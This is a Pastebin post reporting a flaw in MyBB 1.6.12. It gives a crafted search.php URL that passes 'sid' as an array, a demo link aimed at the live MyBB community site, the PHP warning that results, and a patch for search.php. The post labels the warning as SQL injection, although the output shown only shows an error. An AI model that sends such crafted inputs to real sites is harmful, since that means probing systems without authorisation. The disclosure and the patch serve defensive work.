Advertisement
1337_Brain

MyBB 1.6.12 SQL Injection / PHP Warning (Minor)

Jul 11th, 2014
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.88 KB | None | 0 0
  1. MyBB 1.6.12 SQL Injection / PHP Warning (Minor)
  2. Exploit :
  3.  
  4. search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order=
  5.  
  6. Demo :
  7.  
  8. http://community.mybb.com/search.php?action=results&sid%5B0%5D=9afaea732cb32f06fa34b1888bd237e2&sortby=&order
  9.  
  10. Error :
  11.  
  12. Warning [2] mysqli_real_escape_string() expects parameter 2 to be string,
  13. array given - Line: 874 - File: inc/db_mysqli.php PHP 5.4.19
  14.  
  15. ------------------------------------------------------------------------------------
  16.  
  17. How To patch :
  18.  
  19. edit search.php and find this line :
  20.  
  21.  
  22. $sid = $db->escape_string($mybb->input['sid']);
  23.  
  24.  
  25. change this line to :
  26.  
  27.  
  28. if(is_array($mybb->input['sid']))
  29. $sid = $db->escape_string(implode($mybb->input['sid']));
  30. else
  31. $sid = $db->escape_string($mybb->input['sid']);
  32.  
  33. [b]Source: [url]http://packetstormsecurity.com/files/125375/MyBB-1.6.12-SQL-Injection.html[/b[/url]]
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement